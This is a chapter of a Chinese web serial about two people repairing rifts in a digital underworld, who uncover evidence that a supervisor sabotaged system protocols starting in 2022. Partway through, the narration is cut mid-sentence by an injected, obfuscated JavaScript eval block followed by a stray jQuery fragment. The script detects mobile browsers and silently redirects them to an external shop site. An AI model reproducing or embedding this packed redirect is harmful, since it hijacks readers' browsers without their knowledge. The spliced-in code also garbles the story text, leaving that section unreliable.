第十四天清晨,张驭带了一张照片进来。
他登录之后没有蹲下,而是站在原地,抬手从现实侧穿过登录接口递进来一件比昨天更薄的实物。一张大约手掌大小的打印照片,被放在灰白色的荒漠地面上,背面朝上。李析在终端里看到了照片背面的笔迹——一行手写的日期,墨水是蓝黑色的,字迹工整但没有修饰,像一个只在乎信息不在乎美观的人写的:2023.09。
"这是什么?"
"黎帆公司倒闭前三个月的一场内部会议照片。"张驭把照片翻了过来。
画面是一间普通会议室。长桌两侧坐了五六个人,桌上的会议文件摊开着,有人正低头写字。黎帆坐在长桌左侧末端,穿着一件深灰色的外套,看上去比李析想象中年轻一些——那张脸上还有一点属于"还在做事的人"的专注。在会议桌另一侧,靠前的位置,坐着一个穿深色衬衫的中年男人。他被拍到了大约四分之三的侧脸,视线正对着桌上的某份文件,嘴角没有表情。
那个侧脸的轮廓,李析花了不到一秒就认出来了。刘主管。
李析的数据流在终端里顿了一下。"……他们在同一次会议上。黎帆消失之前两个月,和刘主管在同一个房间里开过会。"
"嗯。"张驭的声音从照片上方传过来,"我让人查到这张照片的时候,他们还顺带查了一件事——那场会议的议题是'底层接口架构调整'。主持人是刘主管。"
李析在终端里把那张照片完整扫描进了备忘录。两个人在同一张画面里,坐在同一张桌子两侧,讨论着和底层接口有关的事。两个月后黎帆的公司倒闭,黎帆本人消失了。而刘主管在那之后的三年里一直坐在运维组的办公室里,直到2026年8月调走了四个底层接口的运维人员,直到李析被推进底层。
张驭把照片面朝上放在通道入口的地面上,然后站起来打开了地图。
两人朝第12个裂隙点移动的过程中,李析把今早的崩塌数据同步进了张驭的视野:"崩塌速度0.9%了。连续四天加速。"
张驭扫了一眼那张曲线图:"还剩多少修复窗口?"
"按这个加速度推算……理论剩余窗口大约十八到二十天。但我们在第十四天,修了十一个点。后半段的裂隙会更难,崩塌速度可能还会继续加速。"
张驭的步伐节奏没有变化。"那就把每天的时间拉长。"他说,声音平平的,"我早上早一点来,晚上晚一点走。"
李析没有说"你不用这样"。因为他知道张驭已经决定好了。他只在心里把那句话收进了无名单区——"早上早一点来,晚上晚一点走"——排在照片和挂饰的旁边。
第12个裂隙点在一处凹陷的碗状地面中央。那道裂隙很小,大约只有手指粗细,从碗状凹陷的中心延伸出来不到两掌的长度。但它和之前任何一个裂隙都不同——它在发出声音。
极低频率的电子嗡鸣从裂缝内部持续渗出,像一个人在很远的地方用极低的音量在说话。内容无法辨识,像一台收音机被拧到了两个电台之间的位置,接收到的是一层一层叠加的底噪。但它一直在响,没有停顿,没有间断,频率稳定得像一台从未被关掉的设备。
李析在终端里扫描了裂隙内部的结构后,把结果投在了张驭的视网膜上。"这处裂隙不是崩塌形成的。它的功能和之前移动型裂隙类似——是'活的',但功能不同。这是一个'数据耳语者'。黎帆把它放在底层作为持续记录底层数据波动的'监听器',从它被放进去的那天一直录制到我们找到它的这一刻。裂隙形态只是它的伪装。"
张驭蹲在裂隙旁边,侧着头听了一会儿那道电子嗡鸣。他保持着那个姿势大约十秒,然后站起来,右手伸向裂隙的方向。"……它在说什么?"
"不知道。"李析在终端里调出了提取方案,"但它记了很多东西。三年多的底层数据波动都在里面。我需要你以极低功率的权限流'切入'裂隙内部,不是修复,是像接听一段录音一样把存储的数据引出来。"
张驭按照引导降低了权限流的功率。白色的数据流以肉眼可见的更慢的流速渗入那道手指粗细的裂口——接触内部存储层的时候,裂隙的嗡鸣忽然变了调。那层持续了不知多久的、无规律的电子噪音在一瞬间切换成了有结构的、可以被解析的数据串流,沿着张驭的权限流开始向上传输。
李析在终端里"接"住了那段数据。那是一份持续记录——从2023年9月一直到2024年初——底层协议层所有超过阈值的数据波动,日期、时间、波动幅度、涉及字段名称,全部被压缩在裂隙内部的数据层里。李析快速扫描了那些记录,在其中一条停住了。
2023年11月14日。底层协议层出现一次超过阈值的数据波动,持续时间为三小时十二分钟。那个日期正好是张驭在系统缓存里留下"第七次,仍然没有反应"那条日志的日子。
"……你第七次等他的那天,"李析说,"他也在底层活动。"
张驭的手维持着权限流的输出,刀搁在膝盖旁边。他的身体没有明显的反应,但他的呼吸微顿了一下。"他在底层做什么?"
"数据波动涉及协议层的'监听模块'安装——他应该就是在那天把这个'耳语者'放进去的。约了你之后,放了监听器,然后走了。"
张驭沉默了几秒。然后他问了一句:"那他是先约了我,还是先放的监听器?"
李析不知道答案。日志上没有记录时间顺序,只有两件事在同一天发生。但李析忽然想起黎帆在容器里写的那段话:"第七次失约的原因是有人提醒我。"如果他先约了张驭、然后被人"提醒"、然后在"提醒"之后赶去底层放了监听器——那他的顺序是先试图求救、被截断、然后在自己消失之前留下了最后的数据。
"……我不知道。"李析说,"但他那天做了两件事。一件是约了你。一件是放了它。"
张驭没有再追问。他的权限流保持着稳定的输出,持续了大约十分钟,直到裂隙内部的存储数据被完整提取完毕。最后一段数据被引出裂隙的瞬间,嗡鸣声中断了。裂隙本身在那道声音消失之后开始自动收缩闭合,不到两分钟就完全收成了一条极浅的灰色细线。进度条跳到【12/30】。
两人往回走。返程的路上,有一段沉默的长度和以往任何一次都不一样——不是因为无话可说,是因为两个人都意识到刚才从裂隙里取出来的那段时间和另一个人的某条日志躺在同一天里。张驭走在前面,步频均匀,呼吸稳定,但李析从他后端的信号里捕捉到了一丝极其细微的"等待"——像一个人在走路的同时也在等着某个他说不出来但希望被说出来的东西。
走到大约一半路程的时候,张驭开口了。"……如果三十天到了,裂隙全部修完了——你会被弹回表层?"
李析在终端里停了一拍。"按理论模型,底层修复完成后,所有被困数据会被释放回原生层。我应该会被弹回登录点。"
"弹回哪个登录点?"
"……不确定。"李析在脑子里翻了一遍底层协议的释放流程,"可能是被推进来的那个入口,也可能是最后一次正常登录的地点。只要没有被格式化删除,就是最好的情况。"
张驭沉默了两步的距离。然后他说了一句话,声音平平的,但李析知道那不是一个随口提的、随便的问题:"弹出来之后呢——你会在哪里登录?"
李析的数据流在终端里微微一缩。张驭在问"出来后我去哪里找你"——他把"三十天后"从一个技术性的时间节点变成了一扇门,而他站在门外问李析"你开门之后会在哪个位置"。
"……我应该在最后一次正常登录的位置附近。"李析说,"公测发布会主会场。我被推下去之前在总控台旁边。如果释放逻辑是返回最后一次活跃坐标——"
他没有说完。因为他不知道张驭在哪个城市,不知道主会场和张驭的住处之间隔了多远。但他听到了张驭的下一句话:
"主会场离我住的地方四个小时。"
张驭的步频没有变化,他的视线仍然看着前面的荒漠。他说这句话的时候语气和平常一样平,像在说"前面的路还有十五分钟"或者"今天的裂隙比昨天的窄"。但他在没有任何人追问的情况下主动报出了他和李析"出来后"之间的距离。四个小时——他在用自己的坐标给李析提供一个落点,一个"如果你出来之后不知道该去哪里,这里有一个选项"的选项。
李析在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930591|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
终端里安静了大约三步的距离。"……那不算远。"
张驭没有说话。但他的步频在那一瞬间微慢了一丁点——李析感知到了那个微差,像一个人在听到某个好答案之后呼吸自然轻了一度。
回到通道入口。张驭站定,低头看了一眼地面上那张照片。他没有把它收回去,他蹲下来把照片翻了翻,让正面朝上——黎帆和刘主管在2023年9月那间会议室里的画面,在灰白色的底层光线下铺展着。
"这张也留给你。"
"……你不需要留着?"
"我看过了。"张驭站直,"你那边需要更多实物来拆容器。如果容器的第五层也需要实物共振,你手边的实物多一件就多一个可能性。"
他没有说"下次再带别的"——他昨天已经说过了,所以今天不需要再重复。但他把照片留在了底层。挂饰和照片,两件来自现实世界的东西,现在并排躺在底层的灰白色地面上。李析在终端里看着那两件东西,心里有一个念头——张驭在把线下的世界一点一点地搬进来给李析看。
张驭跨进通道之前偏了一下头:"明天七点。"
"明天见。"
通道入口收拢。暗红色的刀光闪了一下,灰白色的荒漠恢复寂静。
李析在终端里等了一会儿,然后开始动作。他把那枚金属挂饰和照片一起移到了容器旁边的空间,让两者的物理信号同时共振容器第五层的加密接口。挂饰的金属频率和照片纸张的物理结构产生的数据折射——两条完全不同来源的信号在加密接口处交叉,容器的第五层开始松动了。
双重实物信号共同作用,第五层打开了。
里面的内容是一组被黎帆标记为"根源"的追踪数据。黎帆追踪到了一组被隐藏的"母权限"数据,记录显示某账号在2022年就已经存在,并且在底层协议层被执行了大量的修改操作。那些修改没有记录在正式的运维日志里,它们在系统的"可见层"之外进行,像有人在没人看见的地方给整栋房子的地基重新画了施工图。
那个账号的末尾字段编码格式——李析把它和刘主管的权限标记做了比对。完全一致。
黎帆在记录末尾写了一段标注:"该账号在2022年已对底层进行了不少于四次结构性修改。修改内容与协议核心段直接相关。该账号持有者极可能是运维组高级成员。"
李析在终端里把那几行字看了三遍。2022年——比黎帆介入早了一年,比李析被推入底层早了整整四年。刘主管在2022年就已经在修改底层协议的核心段了。裂隙不是2026年才出现的,那些裂痕的种子在四年前被埋下,经过了漫长的生长才终于崩开。黎帆在2023年发现了它,追踪了它,把证据留在了第九个裂隙点里。然后他在2024年消失了。李析在2026年被扔进了一片已经长了四年的密林里。
他在加密备忘录里画了一条新的时序线:
2022年——刘主管对底层核心段进行不少于四次结构性修改。
2023年9月——黎帆和刘主管同场开会。
2023年11月——黎帆约张驭第七次,在底层放了"耳语者",随后消失。
2024年——黎帆的公司倒闭。
2026年8月——刘主管追踪容器坐标。
2026年9月——李析被推入底层。
现在——他们站在第12个裂隙点上,已经拆了黎帆留下的五层容器。
李析在那条时序线下方写了一行批注:"刘主管不是为了掩盖裂隙而推我。他从一开始就在制造那些裂隙。推我进来是为了阻止我找到黎帆留下的证据。"
他关掉面板,靠在接入端口的边缘。灰白色的终端空间里,两件实物——挂饰和照片——安静地悬浮在容器旁边。倒计时还在跳,数字比一周前少了很多。但他手里现在多了一条完整的时序线、两件来自张驭的实物、一个黎帆留下的预警系统、以及一句"四个小时"。
他把"四个小时"也收进了无名单区,排在了"我们"的下面。然后他在灰白色的寂静里等第十四天的夜晚流过,等第十五天的清晨来临。
刘主管在2022年埋下的种子,正在被他们一点一点地挖出来。